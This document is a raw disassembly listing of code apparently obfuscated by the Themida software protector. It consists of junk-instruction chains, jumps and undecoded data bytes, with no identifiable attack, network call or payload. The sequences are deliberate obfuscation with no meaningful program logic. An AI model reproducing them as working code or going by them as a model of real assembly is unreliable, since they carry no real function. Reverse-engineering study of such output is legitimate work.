		mov	[esp], edi
		add	dword ptr [esp], 60070082h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5558F0
; ---------------------------------------------------------------------------
		db 2Ch,	0D6h, 51h
		dd 0C6E97FB1h, 5F000028h, 7094BD55h, 0E5C12C69h, 1EBF5702h
		dd 21205104h, 0D5F75FFDh, 0B1E8C581h, 0EF29780Ah, 0B481E95Dh
		dd 2FB8FFFFh, 0E9255442h, 178Fh, 33241C31h, 0E95C241Ch
		dd 0FFFFCE8Bh, 70E95957h, 5AFFFF7Ch, 31240433h,	4332404h
		dd 24248B24h, 6824048Bh, 726Eh,	2FA1E9h, 70EE8100h, 0E911025Ch
		dd 0FFFFA04Eh
; ---------------------------------------------------------------------------


loc_55D02C:				; CODE XREF: Themida_:00560539j
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp


loc_55D038:				; CODE XREF: Themida_:0055698Aj
		push	edi
		mov	edi, ebx
		jmp	loc_55D593
; ---------------------------------------------------------------------------
aFqY		db 'fQµY',0
		db 0E8h, 66h, 59h
		dd 0FFC259E9h, 2BFFFh, 0E9810000h, 1AE80F7Dh, 5AE9F901h
		dd 0BBFFFFEAh, 4, 875BDD29h, 895C242Ch,	0B0BE2434h, 815C556Eh
		dd 86135FEEh, 0B1C2D01h, 0BA5250FEh, 32381283h,	0E95AD029h
		dd 0FFFF82FAh, 0E955E789h, 0FFFFCE8Ch
; ---------------------------------------------------------------------------


loc_55D094:				; CODE XREF: Themida_:0055C74Cj
		xor	ebx, esi
		pop	esi
		shl	ebx, 3
		jmp	loc_55A79B
; ---------------------------------------------------------------------------


loc_55D09F:				; CODE XREF: Themida_:0055C1D6j
		push	6B31h
		mov	[esp], ebp
		push	0E3Dh
		mov	[esp], ecx
		push	edi
		push	663E51C9h
		mov	edi, [esp]
		add	esp, 4
		add	edi, 0D5A5277Ch
		mov	ecx, edi
		push	dword ptr [esp]
		jmp	loc_55730B
; ---------------------------------------------------------------------------


loc_55D0CE:				; CODE XREF: Themida_:0055F1E8j
		mov	bl, 37h
		or	ch, bl
		pop	bx
		shl	ch, 8
		push	edx
		mov	dl, 33h
		shl	dl, 7
		neg	dl
		neg	dl
		dec	dl
		add	dl, 7Bh
		add	ch, dl
		jmp	loc_55C7EB
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 7Fh
		dd 21323414h, 96E95BDAh, 68FFFFDFh, 3348h, 0FFF1F2E9h
		dd 0C8B66FFh, 2BE95624h, 81FFFFE4h, 5859F8F7h, 2FCF8130h
		dd 0E971E00Eh, 0FFFFDD88h, 5066CB00h, 0E300E4B4h, 50595866h
		dd 0ECC02BB4h, 0C0D4F605h, 0C4FE05E4h, 0FF8DE8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D13D:				; CODE XREF: Themida_:0055E44Aj
		pop	esp
		jmp	loc_554BBF
; ---------------------------------------------------------------------------
		db 52h
		dd 0A26A568h, 0A1E4E96Dh, 0F752FFFFh, 0F75A2414h, 0C3C281D2h
		dd 1A521D5h, 0E0C15AD0h, 407C0505h, 0F8E9531Dh
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D16B:				; CODE XREF: Themida_:0055F7CBj
		push	641Eh
		jmp	loc_555049
; ---------------------------------------------------------------------------
		db 1, 0D3h, 51h
		dd 0FFD9FFE9h, 308C2DFFh, 1C8B73E3h, 0B5F0E924h, 0BD55FFFFh
		dd 4F8C52C0h, 0C221FA05h, 0CAE95577h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D19B:				; CODE XREF: Themida_:0055BF10j
		push	ebx
		mov	ebx, 7A235E1Ch
		add	eax, ebx
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		dec	dword ptr [esp]
		pop	edi
		sub	edi, 500B65C0h
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		push	587Dh
		mov	[esp], eax
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		xchg	eax, esi
		not	eax
		jmp	loc_55D522
; ---------------------------------------------------------------------------
		dd 9C241CF6h, 0FF76E1E9h, 2CBD55FFh, 81420B71h,	0C9299CF5h
		dd 0D3E58117h, 81148145h, 80408CEDh, 0BED4E914h, 0C483FFFFh
		dd 8BC70104h, 0C4812404h, 4, 8704C783h,	0BDE9243Ch, 81FFFFCEh
		dd 0EC78B4F5h, 8BEA01FFh, 0C483242Ch, 74FF5204h, 8F5A0424h
		dd 0BBE92404h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D23F:				; CODE XREF: Themida_:005586ADj
		inc	edx
		sub	edx, 0AE9F379Ah
		xor	edx, esi
		pop	esi
		and	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		shr	ecx, 0
		or	eax, eax
		jz	loc_560B20
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		jmp	loc_5595D9
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 628268h, 24248900h, 4240483h, 4CBE9h, 0C3E95400h, 0BB000006h
		dd 0CE13EF0Eh, 0E95BD929h, 75Ch, 57242C8Bh, 19E9E789h
		dd 81FFFFDCh, 4C4h, 5BEE8100h, 687BE32Eh, 1DC9h, 5D243489h
		dd 4EC815Eh, 0E9000000h, 0FFFF8C5Fh, 77E9D889h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D2BF:				; CODE XREF: Themida_:00557758j
		sub	ebx, 0BAA4171h
		xor	eax, ebx
		jmp	loc_556F5A
; ---------------------------------------------------------------------------
		dd 0FF241489h, 0E9042474h, 181Bh
; ---------------------------------------------------------------------------


loc_55D2D8:				; CODE XREF: Themida_:0055F830j
		add	ebx, eax
		add	ebx, 705154B3h
		push	ebp
		jmp	loc_55A825
; ---------------------------------------------------------------------------
		dw 17B5h
		dd offset dword_59EB00
		dd 17EB80EBh, 129FE9h, 73C06800h, 3C890000h, 24048B24h
		dd 4C481h, 34FF0000h, 92E95F24h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D30F:				; CODE XREF: Themida_:0055ABB5j
		mov	esi, 68C57E5Ch
		push	997F8BD0h
		pop	ebp
		jmp	loc_55B97A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812404h, 4, 4EC81h, 43E90000h, 5D000016h,	0D8BB535Fh
		dd 0E9618E79h, 0FFFFE3E2h, 8107EDC1h, 545C69CDh, 0DFED8171h
		dd 8177B07Eh, 6BCB7CF5h, 5DEB21C9h, 456AEB81h, 0F3812A24h
		dd 9C4FCED9h, 2651BA52h, 0FFE91025h, 5CFFFFF6h,	0FFB1DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D375:				; CODE XREF: Themida_:00558D9Cj
		shr	edx, 1
		dec	edx
		shr	edx, 7
		not	edx
		not	edx
		jmp	loc_555449
; ---------------------------------------------------------------------------
		dd 0EDC1D5F7h, 0FCF58108h, 8100BDAFh, 10147CC1h, 0E9E9016Fh
		dd 0FFFFD7FAh, 8124048Bh, 4C4h,	0FF545600h, 348B2434h
		dd 4C48324h, 6804C483h,	1CDBh, 0E9241C89h, 0FFFF9330h
		dd 4BA3E981h, 0CE892781h, 8EEC159h, 7E2368h, 24348900h
		dd 8B2414F7h, 8E682434h, 8900003Dh, 5B54241Ch, 19AEE9h
		dd 5AD18800h, 37E9CB00h, 8100000Bh, 4C6h, 0A7E95000h, 50FFFFF1h
		dd 42474FFh, 24048F58h,	0C89665Ch, 8323E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D412:				; CODE XREF: Themida_:0055995Cj
		mov	ah, 45h
		add	ah, 0FFh
		jmp	loc_55CF14
; ---------------------------------------------------------------------------
		dd 52240489h, 4BAh, 5AD08900h, 60DE9h, 2434FF00h, 582434FFh
		dd 4C481h, 9E90000h, 66000013h,	50240C89h, 0EC80F6B4h
		dd 76DAE92Eh, 285CFFFFh, 557F68D8h, 0C890000h, 0E9515024h
		dd 0FFFF8E41h, 5155515Bh, 0FFA4C7E9h, 4C481FFh,	30000000h
		dd 1C32241Ch, 241C3024h, 0FF7451E9h, 7684B8FFh,	5481E3Dh
		dd 272ED32Bh, 0FF7485E9h, 5FF801FFh, 42Dh, 24043300h, 33240431h
		dd 895C2404h, 0DEBE2434h, 0E97D1373h, 0FFFFF52Ch, 5C29B951h
		dd 0E1812684h, 5E215F07h, 0FFFFE981h, 0F181FFFFh, 37DE58BAh
		dd 0EE2E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D4C9:				; CODE XREF: Themida_:00557FAFj
		add	ebp, edi
		pop	edi
		push	esi
		mov	esi, 4
		add	ebp, esi
		mov	esi, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xchg	ebp, [esp]
		jmp	loc_55F0ED
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFF9130h, 4C4815Bh, 66000000h,	66422968h
		dd 83241C89h, 148904ECh, 91B05024h, 8358C288h, 0C8904ECh
		dd 0F655B524h, 488E9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D522:				; CODE XREF: Themida_:0055D1DFj
		xchg	eax, esi
		push	6427h
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_5579DD
; ---------------------------------------------------------------------------
		db 80h
		dd 4DE97FEAh
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D53F:				; CODE XREF: Themida_:0055E431j
		pop	edx
		push	ebp
		sub	esp, 4
		jmp	loc_55ED3F
; ---------------------------------------------------------------------------
		dd 7E9AE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D552:				; CODE XREF: Themida_:00557F02j
		xor	dword ptr [esp], 317A51A3h
		jmp	loc_556B89
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0CBB55124h, 47E9D5F6h, 81FFFFC1h, 0A00E11CEh, 0EE814605h
		dd 3BFA7177h, 34E9F301h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_555623
; ---------------------------------------------------------------------------


loc_55D593:				; CODE XREF: Themida_:0055D03Bj
		push	esi
		push	ebx
		mov	ebx, esp
		push	edx
		push	edi
		mov	edi, 0FD32D0Ah
		mov	edx, 0FD32D0Eh
		sub	edx, edi
		pop	edi
		add	ebx, edx
		pop	edx
		jmp	loc_5572C7
; ---------------------------------------------------------------------------


loc_55D5AE:				; CODE XREF: Themida_:0055CC73j
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		sub	eax, 500F147Ch
		push	dword ptr [edi+eax*4]
		jmp	loc_55A61C
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 24248B24h, 0E9240C89h, 20FFh, 5C240C87h, 0E9240C89h
		dd 0FFFFB0F9h
; ---------------------------------------------------------------------------


loc_55D5DC:				; CODE XREF: Themida_:005571C7j
		add	esp, 4
		mov	dl, cl
		pop	ecx
		jmp	loc_55F754
; ---------------------------------------------------------------------------


loc_55D5E7:				; CODE XREF: Themida_:0055BE69j
		xor	ebx, 2AFC68C8h
		jmp	loc_55B3F4
; ---------------------------------------------------------------------------
		dw 3358h
		dd 3C31243Ch, 243C3324h, 0BE0F665Ch, 0F4E9C8h, 14870000h
		dd 0F6E95C24h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D60F:				; CODE XREF: Themida_:0055F4BCj
		add	bl, 0FFh
		neg	bl
		push	4234h
		mov	[esp], eax
		mov	ah, 23h
		jmp	loc_559C22
; ---------------------------------------------------------------------------
		db 57h
		dd 205338BFh, 0DA80E90Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D62E:				; CODE XREF: Themida_:00555C5Aj
		pop	esp
		push	1DD4h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jnz	loc_55B0F1
		push	1
		jmp	loc_55E42E
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 0FFEFADE9h, 4C483FFh, 0E95BD889h, 1B0Dh, 0F724248Bh
		dd 0EC8151E9h, 4, 0E904EC83h, 733h
; ---------------------------------------------------------------------------


loc_55D67C:				; CODE XREF: Themida_:005606AFj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5556CE
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5573BA
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 86950F81h, 0F75BDD01h, 8B14E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D6AA:				; CODE XREF: Themida_:0055B11Ej
		mov	[esp], edi
		push	ecx
		mov	ecx, 1D2320E1h
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	edi, 6F0F0085h
		push	esi
		mov	esi, 2076549Ah
		neg	esi
		shl	esi, 4
		neg	esi
		jmp	loc_55ED36
; ---------------------------------------------------------------------------


loc_55D6D6:				; CODE XREF: Themida_:005563CFj
		mov	esp, [esp]
		jmp	loc_5572E8
; ---------------------------------------------------------------------------


loc_55D6DE:				; CODE XREF: Themida_:00554BC5j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_560B14
; ---------------------------------------------------------------------------
		dd 5E08950h, 4,	1F1DE953h, 68660000h, 8966106Eh, 0C7E9240Ch
		dd 55FFFF71h, 1A37BE56h, 0F5897A8Bh, 0FFED815Eh, 0E9FFFFFFh
		dd 0FFFF8380h, 81D3F74Bh, 9E6ABEBh, 59CB01DAh, 68h, 242C8100h
		dd 29821FB5h, 0E9241C29h, 0FFFF90EBh, 0E904C483h, 0FFFF718Ah
		dd 0F668525Bh, 5A46824Bh, 69F3EA81h, 68E94FBBh,	6600002Ch
		dd 5624048Bh, 0FFE283E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D761:				; CODE XREF: Themida_:0055BE9Aj
		mov	[esp], edx
		xchg	ebp, [esp]
		not	ebp
		jmp	loc_554F0E
; ---------------------------------------------------------------------------
		dw 5866h
		dd 0D3E9D928h, 5EFFFF7Ah, 8B24048Fh, 8B662424h,	83512404h
		dd 0CBE904ECh
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D78B:				; CODE XREF: Themida_:00555C03j
		add	esp, 4
		mov	eax, esi
		pop	esi
		and	ecx, eax
		mov	eax, [esp]
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_557556
; ---------------------------------------------------------------------------
		db 5Eh,	2Dh, 18h
		dd 2D287610h, 0CE854EDBh, 0FFF868E9h, 2025B0FFh, 805866C1h
		dd 0D9F6ABC9h, 300EC180h, 0B15159C8h, 0F0BAE922h, 0F766FFFFh
		dd 0E99C241Ch, 0FFFF70F2h, 0FF70EDE9h, 240431FFh, 5C240433h
		dd 0FF70E1E9h, 243489FFh, 464C0EBEh, 5DDC2D51h,	0F0292E5Eh
		dd 5E5DDC05h, 9A2D5E2Eh, 53236722h, 9784E952h, 0C281FFFFh
		dd 4, 84B2E955h, 0C580FFFFh, 66EA00D5h,	0A355E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D826:				; CODE XREF: Themida_:0055D9E3j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		shl	edi, 8
		neg	edi
		shl	edi, 5
		shr	edi, 6
		sub	edi, offset dword_493A00
		and	ecx, edi
		pop	edi
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_55E7AC
; ---------------------------------------------------------------------------


loc_55D854:				; CODE XREF: Themida_:0055AF0Cj
		pop	eax
		shr	ecx, 0Ah
		jmp	loc_55531D
; ---------------------------------------------------------------------------
		db 1, 0D5h, 8Bh
		dd 0C4812414h, 4, 5C242C87h, 240C8B66h,	129A68h, 24348900h
		dd 0C681E689h, 4, 0FFB31EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D885:				; CODE XREF: Themida_:0055A7D5j
		mov	[esp], ecx
		mov	cl, 18h
		add	al, 4Dh
		add	al, cl
		sub	al, 4Dh
		jmp	loc_55A4B5
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5F04h, 24248B24h,	0FF7223E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D8A5:				; CODE XREF: Themida_:0055BE20j
		pop	eax
		add	edi, 0FFFFFFFFh
		push	ecx
		push	80488282h
		pop	ecx
		jmp	loc_55B1EA
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0E904C483h, 0
		dd 0B951D8F7h, 208F7B1Ah, 0E4BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D8CD:				; CODE XREF: Themida_:0055839Ej
		pop	edi
		dec	ebp
		add	ebp, 6A856B60h
		push	ecx
		mov	ecx, 313F50E6h
		jmp	loc_55E0D4
; ---------------------------------------------------------------------------
		dd 96BD55h, 0E5C10F68h,	15DCE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D8EE:				; CODE XREF: Themida_:00554FA0j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_554D0E
; ---------------------------------------------------------------------------
		db 89h
		dd 66B3241Ch, 0D8E9D800h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D913:				; CODE XREF: Themida_:0055B45Bj
		add	esp, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_55ADBE
; ---------------------------------------------------------------------------
		dd offset aREiRXb	; "à\aÇ…I à\axb"
		dw 8900h
		dd 68572404h, 2, 481575Fh, 2C469F24h, 85E9583Fh, 0FFFFF8Bh
		dd 0AB3DE9C8h, 575AFFFFh, 0E036855h, 2C8B2BEEh,	4C48124h
		dd 0E9000000h, 0FFFFAE74h
; ---------------------------------------------------------------------------


loc_55D958:				; CODE XREF: Themida_:00560716j
		pop	eax
		jmp	loc_5582D9
; ---------------------------------------------------------------------------


loc_55D95E:				; CODE XREF: Themida_:00557B29j
		mov	ebx, edi
		pop	edi
		sub	ebx, 6A806BA8h
		add	ebx, edi
		add	ebx, 6A806BA8h
		mov	ecx, [ebx]
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_556FBD
; ---------------------------------------------------------------------------
		dd 5C9DF181h, 0C18114CBh, 33CDD66Ch, 0C048E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D98E:				; CODE XREF: Themida_:0055EBA5j
		xor	ecx, edi
		jmp	loc_55BCE2
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 0E9000000h, 0FFFFDF8Eh, 5D2434FFh, 0C604E956h, 0E580FFFFh
		dd 0F6CDFEC0h, 3E5C0D5h, 4EC81h, 1C890000h, 92A1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D9C2:				; CODE XREF: Themida_:0055B83Dj
		mov	[esp], eax
		push	6CCA6A2Eh
		pop	eax
		add	eax, 0A235035Dh
		push	ebx
		mov	ebx, eax
		mov	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	eax, [esp]
		push	ecx
		jmp	loc_55D826
; ---------------------------------------------------------------------------
		dd 0C8BC829h, 0F818E924h, 0D7E9FFFFh, 50FFFF6Eh, 4B8h
		dd 58C20100h, 31241433h, 14332414h, 0DEA0E924h,	665CFFFFh
		dd 0E99CC83Bh, 0FFFF6EB6h, 240C335Fh, 0E9240C31h, 0F37h
		dd 0FF6EA5E9h, 240C89FFh, 81A7E952h, 48FFFFFh, 0A043E924h
		dd 0EE81FFFFh, 39717B77h, 4E75EE81h, 0C6E91D79h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DA4B:				; CODE XREF: Themida_:005587C7j
		add	esp, 4
		push	esi
		push	37C92F73h
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		shl	esi, 4
		push	ecx
		mov	ecx, 747A3431h
		jmp	loc_55A927
; ---------------------------------------------------------------------------
		dd 0FFFFC181h, 0E6E9FFFFh, 68FFFF74h, 6B2Fh, 0E9241489h
		dd 1DF9h, 21B7E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DA92:				; CODE XREF: Themida_:005592C6j
		add	esp, 2
		sub	al, 43h
		sub	al, 18h
		jmp	loc_55A7CA
; ---------------------------------------------------------------------------
		dw 4F68h
		dd 5A1FF06Bh, 67396851h, 0F75976B7h, 81D1F7D1h,	767A5BC1h
		dd 81D1F779h, 0C24D3CC1h, 59CA213Bh, 2905E281h,	0D2F75194h
		dd 0FBF28142h, 89BA86FBh, 24148BD1h, 4C481h, 0ECE90000h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DADF:				; CODE XREF: Themida_:005564F4j
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		jmp	loc_55C1D4
; ---------------------------------------------------------------------------
		dd 4C781h, 0EF810000h, 4, 2474FF57h, 48F5F04h, 34895C24h
		dd 815E5424h, 4C6h, 90E95000h, 81FFFFB1h, 0B3508CF7h, 5FF98931h
		dd 4244C01h, 81240C8Bh,	4C4h, 81008F00h, 4ECh, 242C8900h
		dd 2E9E9h, 0C3015900h, 2B0FEB81h, 0C381585Bh, 3EB23A80h
		dd 92A7E958h, 2C8BFFFFh, 4C48324h, 15FF829h, 2C8758C5h
		dd 0E9F65C24h, 0CCB60F66h, 68E38953h, 2838h, 0BD242C89h
		dd 4, 0E9E9EB01h, 80FFFFA5h, 0F780CDC7h, 285F2CFAh, 0FF5F04F8h
		dd 65E92434h, 81FFFFF9h, 2EDAB8F5h, 0BC89E9B9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DB9E:				; CODE XREF: Themida_:0055B6B5j
		sub	bl, 0B4h
		mov	al, bl
		pop	ebx
		mov	dl, 17h
		xor	dl, al
		pop	eax
		sub	bl, dl
		pop	dx
		add	bl, 3Bh
		add	bl, al
		sub	bl, 3Bh
		add	bl, 0DBh
		push	ecx
		mov	ch, 0DCh
		shl	ch, 4
		jmp	loc_55A6B4
; ---------------------------------------------------------------------------
aM0Hlk		db '¬0ØhlK',0
		dw 0E900h
		dd 0FFFFD057h
; ---------------------------------------------------------------------------


loc_55DBD0:				; CODE XREF: Themida_:00559B24j
		pop	ecx
		sub	edi, eax
		sub	edi, 7ABC165Eh
		mov	eax, [esp]
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		dd 0FF828EE9h, 51E888FFh, 0CB88C188h, 2052E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DBF1:				; CODE XREF: Themida_:0055F65Dj
		pop	ebx
		add	esp, 4
		push	edx
		mov	dl, 7Fh
		add	ch, dl
		pop	edx
		sub	al, ch
		mov	ecx, [esp]
		jmp	loc_5593A5
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 89h
		dd 0F66240Ch, 5166C8B6h, 6CB8E99Ch, 0C481FFFFh,	4, 0FF9090E9h
		dd 0C875FFFh, 0DB5CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DC2A:				; CODE XREF: Themida_:005601D5j
		push	ebx
		jmp	loc_55B494
; ---------------------------------------------------------------------------
		dd 6B8468h, 24148900h, 0E2493568h, 2434FF73h, 5A2434FFh
		dd 8104C483h, 4C4h, 0FFD03100h,	148B2434h, 0E6895624h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 5E08950h, 4, 405h
		dd 24048700h, 58DB685Ch, 0C890000h, 9FBD5524h, 8149A261h
		dd 1EDh, 6E5C100h, 6839BE56h, 0EEC175F3h, 0B0EE8107h, 0E93D2807h
		dd 0FFFFAC5Fh, 2E3568h,	241C8900h, 72E9D788h, 5BFFFFE1h
		dd 0C002EAC0h, 0A4E905E2h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DCBF:				; CODE XREF: Themida_:0055FDC6j
		mov	[esp], ebx
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_56025A
; ---------------------------------------------------------------------------
		db 1, 0D8h, 8Bh
		dd 0C481241Ch, 4, 3302C083h, 4312404h, 24043324h, 272CE9h
		dd 81E68900h, 4C6h, 4C68100h, 56000000h, 42474FFh, 0BB58E95Eh
		dd 30ACFFFFh, 0A79DE9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DD0A:				; CODE XREF: Themida_:00555FDFj
		push	37607C61h
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 0FFFFFFFFh
		dec	edi
		inc	edi
		push	edx
		push	ecx
		mov	ecx, 19EC225Ah
		add	ecx, 70504426h
		add	ecx, 1C5C15h
		jmp	loc_55B0C0
; ---------------------------------------------------------------------------


loc_55DD35:				; CODE XREF: Themida_:0055AE52j
		sub	eax, 0D111866h
		not	eax
		or	eax, 679B1B2Bh
		add	eax, 55337C8Ch
		add	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4D386159h
		jmp	loc_559CC4
; ---------------------------------------------------------------------------


loc_55DD59:				; CODE XREF: Themida_:0055C9EEj
		push	edi
		push	edx
		jmp	loc_55CB65
; ---------------------------------------------------------------------------


loc_55DD60:				; CODE XREF: Themida_:0055FCB4j
		add	esi, 12D52E55h
		pop	ebx
		jmp	loc_55E499
; ---------------------------------------------------------------------------
		dd 5A5BD888h, 88C68852h, 585A3877h, 6B50E959h, 1C89FFFFh
		dd 0A6ADE924h, 48BFFFFh, 74685324h, 0E9000078h,	0AAh
; ---------------------------------------------------------------------------


loc_55DD94:				; CODE XREF: Themida_:0055A0DBj
		push	4DA0h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 56FE4124h
		jmp	loc_55A2A0
; ---------------------------------------------------------------------------
		db 89h
		dd 0BA522424h, 4, 4245401h, 7089E95Ah, 0C981FFFFh, 3C231ACEh
		dd 0C108E9C1h, 0A2E903E9h, 66FFFFEDh, 68240C8Bh, 5411h
		dd 0FFF484E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DDE1:				; CODE XREF: Themida_:0055F170j
		pop	ebp
		jmp	loc_55B985
; ---------------------------------------------------------------------------


loc_55DDE7:				; CODE XREF: Themida_:00559D10j
		add	esp, 4
		push	edx
		jmp	loc_555CF9
; ---------------------------------------------------------------------------
		dd 0D2F61AB2h, 0E908EAC0h, 0FFFFE534h
; ---------------------------------------------------------------------------


loc_55DDFC:				; CODE XREF: Themida_:00557EADj
		sub	esi, 6B6B2365h
		add	eax, esi
		pop	esi
		push	eax
		add	dword ptr [esp], 6D99747Bh
		pop	esi
		push	ecx
		push	ebx
		mov	ebx, 12992FBBh
		add	ebx, 3F306C60h
		add	ebx, 1BCFD860h
		jmp	loc_5602BD
; ---------------------------------------------------------------------------
		dw 73BDh
		dd 290E4C26h, 2CDCE928h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DE32:				; CODE XREF: Themida_:0055A8BBj
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_5585C5
; ---------------------------------------------------------------------------
		dw 2489h
		dd 0AD11E924h, 0CD81FFFFh, 6FF14BBEh, 4FFBF581h, 0E8017FF7h
		dd 4055Dh, 4870000h, 24248B24h,	0FF9246E9h, 4956BDFFh
		dd 0E5C14078h, 0EDC14503h, 0D5F74505h, 0FFFD1AE9h, 68D831FFh
		dd 5DFEh, 0BA241489h, 14E666E6h, 0FD8E951h, 0C4830000h
		dd 241C3304h, 33241C31h, 0E95C241Ch, 0FFFFBA88h, 83240C8Bh
		dd 516604C4h, 0F32C9FB1h, 0F304C828h, 240C8B66h, 2802C483h
		dd 96B353D8h, 9C380h, 0E9515BD8h, 0FFFFD269h, 0B201E955h
		dd 0F101FFFFh, 107DE981h, 348B7B8Bh, 4C48124h, 83000000h
		dd 0C3302C1h, 240C3124h, 1841E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DEED:				; CODE XREF: Themida_:0055C6E8j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	esi, [esp]
		push	ecx
		jmp	loc_55AE71
; ---------------------------------------------------------------------------
		dd 5F01CDB8h, 0A68EE93Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DF0A:				; CODE XREF: Themida_:0055EB69j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	5DE574FCh
		pop	edx
		jmp	loc_55665D
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFFE009h, 57BCB866h, 8BC38966h, 0C4812404h, 4, 0FFEDD8E9h
		dd 5DE981FFh, 0E9DAA21Dh, 2813h
; ---------------------------------------------------------------------------


loc_55DF50:				; CODE XREF: Themida_:00555FF8j
		not	edi
		push	eax
		jmp	loc_557CD0
; ---------------------------------------------------------------------------
		dd 907B951h, 0E1C17E36h, 76C98106h, 0E966FA46h,	0FFFFE88Dh
; ---------------------------------------------------------------------------


loc_55DF6C:				; CODE XREF: Themida_:0055C522j
		pop	ebx
		jmp	loc_55A25F
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 0FF96EBE9h, 0E7E981FFh, 1BCFBF7h,	0F30159CEh, 4EC835Eh
		dd 693E9h, 67E94200h, 66FFFF79h, 0E924048Bh, 0FFFF900Dh
